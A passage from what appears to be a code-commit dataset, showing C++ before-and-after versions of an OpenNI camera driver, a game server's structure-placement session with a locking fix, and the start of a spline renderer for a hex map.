GrabNext(image,wait);\n}\n\nPANGOLIN_REGISTER_FACTORY(OpenNiVideo)\n{\n struct OpenNiVideoFactory final : public FactoryInterface<VideoInterface> {\n std::unique_ptr<VideoInterface> Open(const Uri& uri) override {\n const ImageDim dim = uri.Get<ImageDim>(\"size\", ImageDim(640,480));\n const unsigned int fps = uri.Get<unsigned int>(\"fps\", 30);\n const bool autoexposure = uri.Get<bool>(\"autoexposure\", true);\n\n OpenNiSensorType img1 = OpenNiRgb;\n OpenNiSensorType img2 = OpenNiUnassigned;\n\n if( uri.Contains(\"img1\") ){\n img1 = openni_sensor(uri.Get<std::string>(\"img1\", \"depth\"));\n }\n\n if( uri.Contains(\"img2\") ){\n img2 = openni_sensor(uri.Get<std::string>(\"img2\",\"rgb\"));\n }\n\n OpenNiVideo* oniv = new OpenNiVideo(img1, img2, dim, fps);\n oniv->SetAutoExposure(autoexposure);\n return std::unique_ptr<VideoInterface>(oniv);\n }\n };\n\n auto factory = std::make_shared<OpenNiVideoFactory>();\n FactoryRegistry<VideoInterface>::I().RegisterFactory(factory, 10, \"openni1\");\n FactoryRegistry<VideoInterface>::I().RegisterFactory(factory, 100, \"openni\");\n FactoryRegistry<VideoInterface>::I().RegisterFactory(factory, 100, \"oni\");\n FactoryRegistry<VideoInterface>::I().RegisterFactory(factory, 100, \"kinect\");\n}\n\n}\n<commit_msg>Revert \"fix switch statement\"<commit_after>\/* This file is part of the Pangolin Project.\n * http:\/\/github.com\/stevenlovegrove\/Pangolin\n *\n * Copyright (c) 2013 Steven Lovegrove\n *\n * Permission is hereby granted, free of charge, to any person\n * obtaining a copy of this software and associated documentation\n * files (the \"Software\"), to deal in the Software without\n * restriction, including without limitation the rights to use,\n * copy, modify, merge, publish, distribute, sublicense, and\/or sell\n * copies of the Software, and to permit persons to whom the\n * Software is furnished to do so, subject to the following\n * conditions:\n *\n * The above copyright notice and this permission notice shall be\n * included in all copies or substantial portions of the Software.\n *\n * THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND,\n * EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES\n * OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND\n * NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT\n * HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY,\n * WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING\n * FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR\n * OTHER DEALINGS IN THE SOFTWARE.\n *\/\n\n#include <pangolin\/video\/drivers\/openni.h>\n#include <pangolin\/factory\/factory_registry.h>\n#include <pangolin\/video\/iostream_operators.h>\n\nnamespace pangolin\n{\n\nOpenNiVideo::OpenNiVideo(OpenNiSensorType s1, OpenNiSensorType s2, ImageDim dim, int fps)\n{\n sensor_type[0] = s1;\n sensor_type[1] = s2;\n\n XnStatus nRetVal = XN_STATUS_OK;\n nRetVal = context.Init();\n if (nRetVal != XN_STATUS_OK) {\n std::cerr << \"context.Init: \" << xnGetStatusString(nRetVal) << std::endl;\n }\n\n XnMapOutputMode mapMode;\n mapMode.nXRes = dim.x;\n mapMode.nYRes = dim.y;\n mapMode.nFPS = fps;\n\n sizeBytes = 0;\n\n bool use_depth = false;\n bool use_ir = false;\n bool use_rgb = false;\n bool depth_to_color = false;\n\n for(int i=0; i<2; ++i) {\n PixelFormat fmt;\n\n \/\/ Establish output pixel format for sensor streams\n switch( sensor_type[i] ) {\n case OpenNiDepth_1mm_Registered:\n case OpenNiDepth_1mm:\n case OpenNiIr:\n case OpenNiIrProj:\n fmt = PixelFormatFromString(\"GRAY16LE\");\n break;\n case OpenNiIr8bit:\n case OpenNiIr8bitProj:\n fmt = PixelFormatFromString(\"GRAY8\");\n break;\n case OpenNiRgb:\n fmt = PixelFormatFromString(\"RGB24\");\n break;\n default:\n continue;\n }\n\n switch( sensor_type[i] ) {\n case OpenNiDepth_1mm_Registered:\n depth_to_color = true;\n case OpenNiDepth_1mm:\n use_depth = true;\n break;\n case OpenNiIr:\n case OpenNiIr8bit:\n use_ir = true;\n break;\n case OpenNiIrProj:\n case OpenNiIr8bitProj:\n use_ir = true;\n use_depth = true;\n break;\n case OpenNiRgb:\n use_rgb = true;\n break;\n default:\n break;\n }\n\n const StreamInfo stream(fmt, mapMode.nXRes, mapMode.nYRes, (mapMode.nXRes * fmt.bpp) \/ 8, (unsigned char*)0 + sizeBytes);\n sizeBytes += stream.SizeBytes();\n streams.push_back(stream);\n }\n\n if( use_depth ) {\n nRetVal = depthNode.Create(context);\n if (nRetVal != XN_STATUS_OK) {\n throw VideoException( (std::string)\"Unable to create DepthNode: \" + xnGetStatusString(nRetVal) );\n }else{\n nRetVal = depthNode.SetMapOutputMode(mapMode);\n if (nRetVal != XN_STATUS_OK) {\n throw VideoException( (std::string)\"Invalid DepthNode mode: \" + xnGetStatusString(nRetVal) );\n }\n }\n }\n\n if( use_rgb ) {\n nRetVal = imageNode.Create(context);\n if (nRetVal != XN_STATUS_OK) {\n throw VideoException( (std::string)\"Unable to create ImageNode: \" + xnGetStatusString(nRetVal) );\n }else{\n nRetVal = imageNode.SetMapOutputMode(mapMode);\n if (nRetVal != XN_STATUS_OK) {\n throw VideoException( (std::string)\"Invalid ImageNode mode: \" + xnGetStatusString(nRetVal) );\n }\n }\n }\n\n if (depth_to_color && use_rgb) {\n \/\/Registration\n if( depthNode.IsCapabilitySupported(XN_CAPABILITY_ALTERNATIVE_VIEW_POINT) ) {\n nRetVal = depthNode.GetAlternativeViewPointCap().SetViewPoint( imageNode );\n if (nRetVal != XN_STATUS_OK) {\n std::cerr << \"depthNode.GetAlternativeViewPointCap().SetViewPoint(imageNode): \" << xnGetStatusString(nRetVal) << std::endl;\n }\n }\n\n \/\/ Frame Sync\n if (depthNode.IsCapabilitySupported(XN_CAPABILITY_FRAME_SYNC))\n {\n if (depthNode.GetFrameSyncCap().CanFrameSyncWith(imageNode))\n {\n nRetVal = depthNode.GetFrameSyncCap().FrameSyncWith(imageNode);\n if (nRetVal != XN_STATUS_OK) {\n std::cerr << \"depthNode.GetFrameSyncCap().FrameSyncWith(imageNode): \" << xnGetStatusString(nRetVal) << std::endl;\n }\n }\n }\n }\n\n if( use_ir ) {\n nRetVal = irNode.Create(context);\n if (nRetVal != XN_STATUS_OK) {\n throw VideoException( (std::string)\"Unable to create IrNode: \" + xnGetStatusString(nRetVal) );\n }else{\n nRetVal = irNode.SetMapOutputMode(mapMode);\n if (nRetVal != XN_STATUS_OK) {\n throw VideoException( (std::string)\"Invalid IrNode mode: \" + xnGetStatusString(nRetVal) );\n }\n }\n }\n\n Start();\n}\n\nOpenNiVideo::~OpenNiVideo()\n{\n context.Release();\n}\n\nsize_t OpenNiVideo::SizeBytes() const\n{\n return sizeBytes;\n}\n\nconst std::vector<StreamInfo>& OpenNiVideo::Streams() const\n{\n return streams;\n}\n\nvoid OpenNiVideo::Start()\n{\n \/\/ XnStatus nRetVal =\n context.StartGeneratingAll();\n}\n\nvoid OpenNiVideo::Stop()\n{\n context.StopGeneratingAll();\n}\n\nbool OpenNiVideo::GrabNext( unsigned char* image, bool \/*wait*\/ )\n{\n \/\/ XnStatus nRetVal = context.WaitAndUpdateAll();\n XnStatus nRetVal = context.WaitAnyUpdateAll();\n \/\/ nRetVal = context.WaitOneUpdateAll(imageNode);\n\n if (nRetVal != XN_STATUS_OK) {\n std::cerr << \"Failed updating data: \" << xnGetStatusString(nRetVal) << std::endl;\n return false;\n }else{\n unsigned char* out_img = image;\n\n for(int i=0; i<2; ++i) {\n switch (sensor_type[i]) {\n case OpenNiDepth_1mm:\n case OpenNiDepth_1mm_Registered:\n {\n const XnDepthPixel* pDepthMap = depthNode.GetDepthMap();\n memcpy(out_img,pDepthMap, streams[i].SizeBytes() );\n break;\n }\n case OpenNiIr:\n case OpenNiIrProj:\n {\n const XnIRPixel* pIrMap = irNode.GetIRMap();\n memcpy(out_img, pIrMap, streams[i].SizeBytes() );\n break;\n }\n case OpenNiIr8bit:\n case OpenNiIr8bitProj:\n {\n const XnIRPixel* pIr16Map = irNode.GetIRMap();\n\n \/\/ rescale from 16-bit (10 effective) to 8-bit\n xn::IRMetaData meta_data;\n irNode.GetMetaData(meta_data);\n int w = meta_data.XRes();\n int h = meta_data.YRes();\n\n \/\/ Copy to out_img with conversion\n XnUInt8* pIrMapScaled = (XnUInt8*)out_img;\n for (int v = 0; v < h; ++v)\n for (int u = 0; u < w; ++u) {\n int val = *pIr16Map >> 2; \/\/ 10bit to 8 bit\n pIrMapScaled[w * v + u] = val;\n pIr16Map++;\n }\n\n break;\n }\n case OpenNiRgb:\n {\n const XnUInt8* pImageMap = imageNode.GetImageMap();\n memcpy(out_img,pImageMap, streams[i].SizeBytes());\n break;\n }\n default:\n continue;\n break;\n }\n\n out_img += streams[i].SizeBytes();\n }\n\n return true;\n }\n}\n\nbool OpenNiVideo::GrabNewest( unsigned char* image, bool wait )\n{\n return GrabNext(image,wait);\n}\n\nPANGOLIN_REGISTER_FACTORY(OpenNiVideo)\n{\n struct OpenNiVideoFactory final : public FactoryInterface<VideoInterface> {\n std::unique_ptr<VideoInterface> Open(const Uri& uri) override {\n const ImageDim dim = uri.Get<ImageDim>(\"size\", ImageDim(640,480));\n const unsigned int fps = uri.Get<unsigned int>(\"fps\", 30);\n const bool autoexposure = uri.Get<bool>(\"autoexposure\", true);\n\n OpenNiSensorType img1 = OpenNiRgb;\n OpenNiSensorType img2 = OpenNiUnassigned;\n\n if( uri.Contains(\"img1\") ){\n img1 = openni_sensor(uri.Get<std::string>(\"img1\", \"depth\"));\n }\n\n if( uri.Contains(\"img2\") ){\n img2 = openni_sensor(uri.Get<std::string>(\"img2\",\"rgb\"));\n }\n\n OpenNiVideo* oniv = new OpenNiVideo(img1, img2, dim, fps);\n oniv->SetAutoExposure(autoexposure);\n return std::unique_ptr<VideoInterface>(oniv);\n }\n };\n\n auto factory = std::make_shared<OpenNiVideoFactory>();\n FactoryRegistry<VideoInterface>::I().RegisterFactory(factory, 10, \"openni1\");\n FactoryRegistry<VideoInterface>::I().RegisterFactory(factory, 100, \"openni\");\n FactoryRegistry<VideoInterface>::I().RegisterFactory(factory, 100, \"oni\");\n FactoryRegistry<VideoInterface>::I().RegisterFactory(factory, 100, \"kinect\");\n}\n\n}\n<|endoftext|>"} {"text":"<commit_before>\/*\n * PlaceStructureSessionImplementation.cpp\n *\n * Created on: Jun 13, 2011\n * Author: crush\n *\/\n\n#include \"server\/zone\/objects\/player\/sessions\/PlaceStructureSession.h\"\n#include \"server\/chat\/ChatManager.h\"\n#include \"server\/zone\/managers\/planet\/PlanetManager.h\"\n#include \"server\/zone\/managers\/structure\/StructureManager.h\"\n#include \"server\/zone\/managers\/structure\/tasks\/StructureConstructionCompleteTask.h\"\n#include \"server\/zone\/objects\/area\/ActiveArea.h\"\n#include \"server\/zone\/objects\/building\/BuildingObject.h\"\n#include \"server\/zone\/objects\/creature\/CreatureObject.h\"\n#include \"server\/zone\/objects\/installation\/InstallationObject.h\"\n#include \"server\/zone\/objects\/player\/PlayerObject.h\"\n#include \"server\/zone\/objects\/scene\/SessionFacadeType.h\"\n#include \"server\/zone\/objects\/structure\/StructureObject.h\"\n#include \"server\/zone\/objects\/tangible\/deed\/structure\/StructureDeed.h\"\n#include \"server\/zone\/packets\/player\/EnterStructurePlacementModeMessage.h\"\n#include \"server\/zone\/templates\/tangible\/SharedStructureObjectTemplate.h\"\n#include \"server\/zone\/objects\/area\/areashapes\/CircularAreaShape.h\"\n#include \"server\/zone\/Zone.h\"\n\n\nint PlaceStructureSessionImplementation::constructStructure(float x, float y, int angle) {\n\tpositionX = x;\n\tpositionY = y;\n\tdirectionAngle = angle;\n\n\tTemplateManager* templateManager = TemplateManager::instance();\n\n\tString serverTemplatePath = deedObject->getGeneratedObjectTemplate();\n\tReference<SharedStructureObjectTemplate*> serverTemplate = dynamic_cast<SharedStructureObjectTemplate*>(templateManager->getTemplate(serverTemplatePath.hashCode()));\n\n\tif (serverTemplate == NULL || temporaryNoBuildZone != NULL)\n\t\treturn cancelSession(); \/\/Something happened, the server template is not a structure template or temporaryNoBuildZone already set.\n\n\tplaceTemporaryNoBuildZone(serverTemplate);\n\n\tString barricadeServerTemplatePath = serverTemplate->getConstructionMarkerTemplate();\n\tint constructionDuration = 100; \/\/Set the duration for 100ms as a fall back if it doesn't have a barricade template.\n\n\tif (!barricadeServerTemplatePath.isEmpty()) {\n\t\tconstructionBarricade = ObjectManager::instance()->createObject(barricadeServerTemplatePath.hashCode(), 0, \"\");\n\n\t\tif (constructionBarricade != NULL) {\n\t\t\tconstructionBarricade->initializePosition(x, 0, y); \/\/The construction barricades are always at the terrain height.\n\n\t\t\tStructureFootprint* structureFootprint = serverTemplate->getStructureFootprint();\n\n\t\t\tif (structureFootprint != NULL && (structureFootprint->getRowSize() > structureFootprint->getColSize())) {\n\t\t\t\tangle = angle + 180;\n\t\t\t}\n\n\t\t\tconstructionBarricade->rotate(angle); \/\/All construction barricades need to be rotated 180 degrees for some reason.\n\t\t\t\/\/constructionBarricade->insertToZone(zone);\n\n\t\t\tLocker tLocker(constructionBarricade);\n\n\t\t\tzone->transferObject(constructionBarricade, -1, true);\n\n\t\t\tconstructionDuration = serverTemplate->getLotSize() * 3000; \/\/3 seconds per lot.\n\t\t}\n\t}\n\n\tReference<Task*> task = new StructureConstructionCompleteTask(creatureObject);\n\ttask->schedule(constructionDuration);\n\n\treturn 0;\n}\n\nvoid PlaceStructureSessionImplementation::placeTemporaryNoBuildZone(SharedStructureObjectTemplate* serverTemplate) {\n\tReference<StructureFootprint*> structureFootprint =\tserverTemplate->getStructureFootprint();\n\n\t\/\/float temporaryNoBuildZoneWidth = structureFootprint->getLength() + structureFootprint->getWidth();\n\n\tManagedReference<CircularAreaShape*> areaShape = new CircularAreaShape();\n\n\tLocker alocker(areaShape);\n\n\t\/\/ Guild halls are approximately 55 m long, 64 m radius will surely cover that in all directions.\n\t\/\/ Even if the placement coordinate aren't in the center of the building.\n\tareaShape->setRadius(64);\n\tareaShape->setAreaCenter(positionX, positionY);\n\n\ttemporaryNoBuildZone = (zone->getZoneServer()->createObject(String(\"object\/active_area.iff\").hashCode(), 0)).castTo<ActiveArea*>();\n\n\tLocker locker(temporaryNoBuildZone);\n\n\ttemporaryNoBuildZone->initializePosition(positionX, 0, positionY);\n\ttemporaryNoBuildZone->setAreaShape(areaShape);\n\ttemporaryNoBuildZone->setNoBuildArea(true);\n\n\tzone->transferObject(temporaryNoBuildZone, -1, true);\n}\n\nvoid PlaceStructureSessionImplementation::removeTemporaryNoBuildZone() {\n\tif (temporaryNoBuildZone != NULL) {\n\t\tLocker locker(temporaryNoBuildZone);\n\n\t\ttemporaryNoBuildZone->destroyObjectFromWorld(true);\n\t}\n}\n\nint PlaceStructureSessionImplementation::completeSession() {\n\tif (constructionBarricade != NULL) {\n\t\tLocker locker(constructionBarricade);\n\n\t\tconstructionBarricade->destroyObjectFromWorld(true);\n\t}\n\n\tString serverTemplatePath = deedObject->getGeneratedObjectTemplate();\n\n\tStructureManager* structureManager = StructureManager::instance();\n\tManagedReference<StructureObject*> structureObject = structureManager->placeStructure(creatureObject, serverTemplatePath, positionX, positionY, directionAngle);\n\n\tremoveTemporaryNoBuildZone();\n\n\tif (structureObject == NULL) {\n\t\tManagedReference<SceneObject*> inventory = creatureObject->getSlottedObject(\"inventory\");\n\n\t\tif (inventory != NULL)\n\t\t\tinventory->transferObject(deedObject, -1, true);\n\n\t\treturn cancelSession();\n\t}\n\n\tLocker clocker(structureObject, creatureObject);\n\n\tstructureObject->setDeedObjectID(deedObject->getObjectID());\n\n\tdeedObject->notifyStructurePlaced(creatureObject, structureObject);\n\n\tManagedReference<PlayerObject*> ghost = creatureObject->getPlayerObject();\n\n\tif (ghost != NULL) {\n\n\t\t\/\/Create Waypoint\n\t\tManagedReference<WaypointObject*> waypointObject = ( zone->getZoneServer()->createObject(String(\"object\/waypoint\/world_waypoint_blue.iff\").hashCode(), 1)).castTo<WaypointObject*>();\n\t\twaypointObject->setCustomObjectName(structureObject->getDisplayedName(), false);\n\t\twaypointObject->setActive(true);\n\t\twaypointObject->setPosition(positionX, 0, positionY);\n\t\twaypointObject->setPlanetCRC(zone->getZoneCRC());\n\n\t\tghost->addWaypoint(waypointObject, false, true);\n\n\t\t\/\/Create an email.\n\t\tManagedReference<ChatManager*> chatManager = zone->getZoneServer()->getChatManager();\n\n\t\tif (chatManager != NULL) {\n\t\t\tUnicodeString subject = \"@player_structure:construction_complete_subject\";\n\n\t\t\tStringIdChatParameter emailBody(\"@player_structure:construction_complete\");\n\t\t\temailBody.setTO(structureObject->getObjectName());\n\t\t\temailBody.setDI(ghost->getLotsRemaining());\n\n\t\t\tchatManager->sendMail(\"@player_structure:construction_complete_sender\", subject, emailBody, creatureObject->getFirstName(), waypointObject);\n\t\t}\n\n\t\tif (structureObject->isBuildingObject()) {\n\t\t\tBuildingObject* building = cast<BuildingObject*>(structureObject.get());\n\t\t\tif (building->getSignObject() != NULL) {\n\t\t\t\tbuilding->setCustomObjectName(creatureObject->getFirstName() + \"'s House\", true); \/\/Set the house sign.\n\t\t\t}\n\t\t}\n\t}\n\n\treturn cancelSession(); \/\/Canceling the session just removes the session from the player's map.\n}\n<commit_msg>[Fixed] stability issue<commit_after>\/*\n * PlaceStructureSessionImplementation.cpp\n *\n * Created on: Jun 13, 2011\n * Author: crush\n *\/\n\n#include \"server\/zone\/objects\/player\/sessions\/PlaceStructureSession.h\"\n#include \"server\/chat\/ChatManager.h\"\n#include \"server\/zone\/managers\/planet\/PlanetManager.h\"\n#include \"server\/zone\/managers\/structure\/StructureManager.h\"\n#include \"server\/zone\/managers\/structure\/tasks\/StructureConstructionCompleteTask.h\"\n#include \"server\/zone\/objects\/area\/ActiveArea.h\"\n#include \"server\/zone\/objects\/building\/BuildingObject.h\"\n#include \"server\/zone\/objects\/creature\/CreatureObject.h\"\n#include \"server\/zone\/objects\/installation\/InstallationObject.h\"\n#include \"server\/zone\/objects\/player\/PlayerObject.h\"\n#include \"server\/zone\/objects\/scene\/SessionFacadeType.h\"\n#include \"server\/zone\/objects\/structure\/StructureObject.h\"\n#include \"server\/zone\/objects\/tangible\/deed\/structure\/StructureDeed.h\"\n#include \"server\/zone\/packets\/player\/EnterStructurePlacementModeMessage.h\"\n#include \"server\/zone\/templates\/tangible\/SharedStructureObjectTemplate.h\"\n#include \"server\/zone\/objects\/area\/areashapes\/CircularAreaShape.h\"\n#include \"server\/zone\/Zone.h\"\n\n\nint PlaceStructureSessionImplementation::constructStructure(float x, float y, int angle) {\n\tpositionX = x;\n\tpositionY = y;\n\tdirectionAngle = angle;\n\n\tTemplateManager* templateManager = TemplateManager::instance();\n\n\tString serverTemplatePath = deedObject->getGeneratedObjectTemplate();\n\tReference<SharedStructureObjectTemplate*> serverTemplate = dynamic_cast<SharedStructureObjectTemplate*>(templateManager->getTemplate(serverTemplatePath.hashCode()));\n\n\tif (serverTemplate == NULL || temporaryNoBuildZone != NULL)\n\t\treturn cancelSession(); \/\/Something happened, the server template is not a structure template or temporaryNoBuildZone already set.\n\n\tplaceTemporaryNoBuildZone(serverTemplate);\n\n\tString barricadeServerTemplatePath = serverTemplate->getConstructionMarkerTemplate();\n\tint constructionDuration = 100; \/\/Set the duration for 100ms as a fall back if it doesn't have a barricade template.\n\n\tif (!barricadeServerTemplatePath.isEmpty()) {\n\t\tconstructionBarricade = ObjectManager::instance()->createObject(barricadeServerTemplatePath.hashCode(), 0, \"\");\n\n\t\tif (constructionBarricade != NULL) {\n\t\t\tconstructionBarricade->initializePosition(x, 0, y); \/\/The construction barricades are always at the terrain height.\n\n\t\t\tStructureFootprint* structureFootprint = serverTemplate->getStructureFootprint();\n\n\t\t\tif (structureFootprint != NULL && (structureFootprint->getRowSize() > structureFootprint->getColSize())) {\n\t\t\t\tangle = angle + 180;\n\t\t\t}\n\n\t\t\tconstructionBarricade->rotate(angle); \/\/All construction barricades need to be rotated 180 degrees for some reason.\n\t\t\t\/\/constructionBarricade->insertToZone(zone);\n\n\t\t\tLocker tLocker(constructionBarricade);\n\n\t\t\tzone->transferObject(constructionBarricade, -1, true);\n\n\t\t\tconstructionDuration = serverTemplate->getLotSize() * 3000; \/\/3 seconds per lot.\n\t\t}\n\t}\n\n\tReference<Task*> task = new StructureConstructionCompleteTask(creatureObject);\n\ttask->schedule(constructionDuration);\n\n\treturn 0;\n}\n\nvoid PlaceStructureSessionImplementation::placeTemporaryNoBuildZone(SharedStructureObjectTemplate* serverTemplate) {\n\tReference<StructureFootprint*> structureFootprint =\tserverTemplate->getStructureFootprint();\n\n\t\/\/float temporaryNoBuildZoneWidth = structureFootprint->getLength() + structureFootprint->getWidth();\n\n\tManagedReference<CircularAreaShape*> areaShape = new CircularAreaShape();\n\n\tLocker alocker(areaShape);\n\n\t\/\/ Guild halls are approximately 55 m long, 64 m radius will surely cover that in all directions.\n\t\/\/ Even if the placement coordinate aren't in the center of the building.\n\tareaShape->setRadius(64);\n\tareaShape->setAreaCenter(positionX, positionY);\n\n\ttemporaryNoBuildZone = (zone->getZoneServer()->createObject(String(\"object\/active_area.iff\").hashCode(), 0)).castTo<ActiveArea*>();\n\n\tLocker locker(temporaryNoBuildZone);\n\n\ttemporaryNoBuildZone->initializePosition(positionX, 0, positionY);\n\ttemporaryNoBuildZone->setAreaShape(areaShape);\n\ttemporaryNoBuildZone->setNoBuildArea(true);\n\n\tzone->transferObject(temporaryNoBuildZone, -1, true);\n}\n\nvoid PlaceStructureSessionImplementation::removeTemporaryNoBuildZone() {\n\tif (temporaryNoBuildZone != NULL) {\n\t\tLocker locker(temporaryNoBuildZone);\n\n\t\ttemporaryNoBuildZone->destroyObjectFromWorld(true);\n\t}\n}\n\nint PlaceStructureSessionImplementation::completeSession() {\n\tif (constructionBarricade != NULL) {\n\t\tLocker locker(constructionBarricade);\n\n\t\tconstructionBarricade->destroyObjectFromWorld(true);\n\t}\n\n\tString serverTemplatePath = deedObject->getGeneratedObjectTemplate();\n\n\tStructureManager* structureManager = StructureManager::instance();\n\tManagedReference<StructureObject*> structureObject = structureManager->placeStructure(creatureObject, serverTemplatePath, positionX, positionY, directionAngle);\n\n\tremoveTemporaryNoBuildZone();\n\n\tif (structureObject == NULL) {\n\t\tManagedReference<SceneObject*> inventory = creatureObject->getSlottedObject(\"inventory\");\n\n\t\tif (inventory != NULL)\n\t\t\tinventory->transferObject(deedObject, -1, true);\n\n\t\treturn cancelSession();\n\t}\n\n\tLocker clocker(structureObject, creatureObject);\n\n\tstructureObject->setDeedObjectID(deedObject->getObjectID());\n\n\tdeedObject->notifyStructurePlaced(creatureObject, structureObject);\n\n\tManagedReference<PlayerObject*> ghost = creatureObject->getPlayerObject();\n\n\tif (ghost != NULL) {\n\n\t\t\/\/Create Waypoint\n\t\tManagedReference<WaypointObject*> waypointObject = ( zone->getZoneServer()->createObject(String(\"object\/waypoint\/world_waypoint_blue.iff\").hashCode(), 1)).castTo<WaypointObject*>();\n\n\t\tLocker locker(waypointObject);\n\n\t\twaypointObject->setCustomObjectName(structureObject->getDisplayedName(), false);\n\t\twaypointObject->setActive(true);\n\t\twaypointObject->setPosition(positionX, 0, positionY);\n\t\twaypointObject->setPlanetCRC(zone->getZoneCRC());\n\n\t\tghost->addWaypoint(waypointObject, false, true);\n\n\t\tlocker.release();\n\n\t\t\/\/Create an email.\n\t\tManagedReference<ChatManager*> chatManager = zone->getZoneServer()->getChatManager();\n\n\t\tif (chatManager != NULL) {\n\t\t\tUnicodeString subject = \"@player_structure:construction_complete_subject\";\n\n\t\t\tStringIdChatParameter emailBody(\"@player_structure:construction_complete\");\n\t\t\temailBody.setTO(structureObject->getObjectName());\n\t\t\temailBody.setDI(ghost->getLotsRemaining());\n\n\t\t\tchatManager->sendMail(\"@player_structure:construction_complete_sender\", subject, emailBody, creatureObject->getFirstName(), waypointObject);\n\t\t}\n\n\t\tif (structureObject->isBuildingObject()) {\n\t\t\tBuildingObject* building = cast<BuildingObject*>(structureObject.get());\n\t\t\tif (building->getSignObject() != NULL) {\n\t\t\t\tbuilding->setCustomObjectName(creatureObject->getFirstName() + \"'s House\", true); \/\/Set the house sign.\n\t\t\t}\n\t\t}\n\t}\n\n\treturn cancelSession(); \/\/Canceling the session just removes the session from the player's map.\n}\n<|endoftext|>"} {"text":"<commit_before>#include \"stdafx.h\"\n#include \"spline_renderer.h\"\n\n#include <glm\/gtx\/spline.hpp>\n#include <glm\/gtx\/compatibility.hpp> \/\/for lerp\n\n#include \"asdf_multiplat\/utilities\/utilities.h\"\n#include \"asdf_multiplat\/data\/gl_state.h\"\n\nnamespace asdf {\nnamespace hexmap\n{\n using namespace data;\n\nnamespace ui\n{\n namespace\n {\n constexpr size_t default_subdivs_per_spline_segment = 10;\n }\n\n \/\/\/ vertex spec allocation \/ definition\n gl_vertex_spec_<vertex_attrib::position3_t, vertex_attrib::color_t> spline_vertex_t::vertex_spec;\n\n \/\/\/ Helper Func Declarations\n line_node_t interpolated_node(spline_t const& spline, size_t spline_node_ind, float t);\n std::vector<line_node_t> line_from_interpolated_spline(spline_t const& spline, size_t subdivisions_per_segment);\n line_node_t interpolate_linear(line_node_t const& start, line_node_t const& end, float t);\n line_node_t interpolate_bezier(line_node_t const& start, control_node_t const& cn_start, control_node_t const& cn_end, line_node_t const& end, float t);\n\n\n \/\/\/ Member Func Definitions\n void spline_renderer_t::init(std::shared_ptr<shader_t> _shader)\n {\n shader = std::move(_shader);\n spline_polygon.initialize(shader);\n }\n\n \/\/ void spline_renderer_t::batch(spline_t const& spline)\n \/\/ {\n \/\/ spline_batch.push_back(&spline);\n \/\/ }\n\n \/\/ void spline_renderer_t::batch(std::vector<spline_t> const& splines)\n \/\/ {\n \/\/ spline_batch.reserve(spline_batch.size() + splines.size());\n\n \/\/ for(size_t i = 0; i < splines.size(); ++i)\n \/\/ {\n \/\/ spline_batch.push_back(&(splines[i]));\n \/\/ }\n \/\/ }\n\n void spline_renderer_t::rebuild_all()\n {\n if(!spline_list || (spline_list && spline_list->empty()))\n return;\n\n reticulated_splines.clear();\n\n \/\/\/ reticulate splines\n auto& constructed_lines = reticulated_splines; \/\/ I am lazy and aliasing the variable name\n \/\/std::vector<std::vector<line_node_t>> constructed_lines; \/\/ instead of find\/replace\n constructed_lines.reserve(spline_list->size());\n\n for(auto const& spline : *spline_list)\n {\n if(spline.size() > 1) \/\/ignore splines with less than two points (and thus no segments)\n {\n constructed_lines.push_back( line_from_interpolated_spline(spline, default_subdivs_per_spline_segment) );\n }\n \n }\n\n constructed_lines.shrink_to_fit();\n\n if(constructed_lines.empty())\n {\n return;\n }\n\n\n \/\/pre-loop to get size info\n size_t num_verts = 0;\n for(auto const& polyline : constructed_lines)\n {\n \/\/not doing thickness yet, so only one vertex per polyline node\n num_verts += polyline.size();\n }\n\n \/\/\/ set up renderable vertices\n polygon_<spline_vertex_t> verts;\n verts.resize(num_verts);\n\n size_t vert_ind = 0;\n for(auto const& polyline : constructed_lines)\n {\n for(auto const& line_vert : polyline)\n {\n verts[vert_ind].position = glm::vec3(line_vert.position, 0.0f);\n verts[vert_ind].color = line_vert.color;\n\n ++vert_ind;\n }\n }\n\n ASSERT(vert_ind == num_verts, \"Unexpected unset vertices in polyline\");\n\n spline_polygon.set_data(verts);\n }\n\n void spline_renderer_t::render()\n {\n ASSERT(shader, \"cannot render splines without a shader\");\n\n if(!spline_list)\n {\n return;\n }\n else if(spline_list->size() != spline_node_count_cache.size())\n {\n rebuild_all();\n }\n\n \/\/update spline node count cache and rebuild splines if dirty\n \/\/TODO: optimize to only rebuild dirty splines instead of all of them\n bool dirty = false;\n spline_node_count_cache.resize(spline_list->size(), 0); \/\/init new elements as 0\n for(size_t i = 0; i < spline_list->size(); ++i)\n {\n dirty |= ((*spline_list)[i].size() != spline_node_count_cache[i]);\n spline_node_count_cache[i] = (*spline_list)[i].size();\n }\n\n if(dirty)\n {\n rebuild_all();\n }\n\n \/\/if after rebuilding, there are no verts to render, don't even bother with anything below\n if(spline_polygon.num_verts == 0)\n {\n return;\n }\n\n GL_State->bind(shader);\n shader->update_wvp_uniform();\n\n spline_polygon.render(GL_LINE_LOOP); \/\/will change this to GL_TRIANGLES later when I implement thickness\n }\n\n\n \/\/\/ Helper Func Definitions\n line_node_t interpolated_node(spline_t const& spline, size_t spline_node_ind, float t)\n {\n ASSERT(spline.nodes.size() > spline_node_ind, \"out of bounds\");\n\n switch(spline.spline_type)\n {\n case spline_t::linear:\n {\n return interpolate_linear(spline.nodes[spline_node_ind], spline.nodes[spline_node_ind+1], t);\n }\n case spline_t::bezier:\n {\n auto cn_ind = spline_node_ind * 2;\n\n ASSERT(spline.control_nodes.size() > cn_ind, \"out of bounds\");\n\n auto const& p0 = spline.nodes[spline_node_ind];\n auto const& p1 = spline.control_nodes[cn_ind];\n auto const& p2 = spline.control_nodes[cn_ind + 1];\n auto const& p3 = spline.nodes[spline_node_ind+1];\n\n return interpolate_bezier(p0, p1, p2, p3, t);\n }\n };\n\n return spline.nodes[spline_node_ind];\n }\n\n\n std::vector<line_node_t> line_from_interpolated_spline(spline_t const& spline, size_t subdivisions_per_segment)\n {\n std::vector<line_node_t> constructed_line;\n\n if(spline.size() == 0 || spline.spline_type == spline_t::linear)\n return spline.nodes;\n\n \/\/space for the original nodes plus subdivisions\n constructed_line.reserve(spline.size() + subdivisions_per_segment * spline.size() - 1);\n\n for(size_t spline_node_ind = 0; spline_node_ind < spline.size() - 1; ++spline_node_ind)\n 